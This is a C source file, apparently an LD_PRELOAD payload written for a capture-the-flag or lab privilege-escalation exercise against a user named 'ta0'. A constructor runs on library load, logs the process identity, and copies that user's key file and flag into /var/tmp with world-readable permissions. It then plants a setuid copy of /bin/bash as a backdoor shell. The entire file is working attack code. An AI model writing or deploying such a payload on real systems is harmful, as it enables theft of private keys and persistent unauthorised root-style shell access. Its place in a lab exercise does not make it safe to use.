#include #include #include #include #include #include static void write_text(const char *path, const char *text) { int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) return; write(fd, text, strlen(text)); close(fd); } static void copy_file(const char *src, const char *dst, mode_t mode) { char buf[4096]; int in = open(src, O_RDONLY); if (in < 0) return; int out = open(dst, O_WRONLY | O_CREAT | O_TRUNC, mode); if (out < 0) { close(in); return; } ssize_t n; while ((n = read(in, buf, sizeof(buf))) > 0) { write(out, buf, n); } close(out); close(in); chmod(dst, mode); } __attribute__((constructor)) void init(void) { char identity[256]; snprintf(identity, sizeof(identity), "uid=%d gid=%d euid=%d egid=%d\n", getuid(), getgid(), geteuid(), getegid()); write_text("/var/tmp/ldpreload_uid", identity); copy_file("/home/ta0/key", "/var/tmp/ta0_key_copy", 0644); copy_file("/home/ta0/user.txt", "/var/tmp/ta0_user_flag", 0644); copy_file("/bin/bash", "/var/tmp/bash_ta0", 0755); chmod("/var/tmp/bash_ta0", 04755); write_text("/var/tmp/ldpreload_done", "LD_PRELOAD payload executed as ta0\n"); }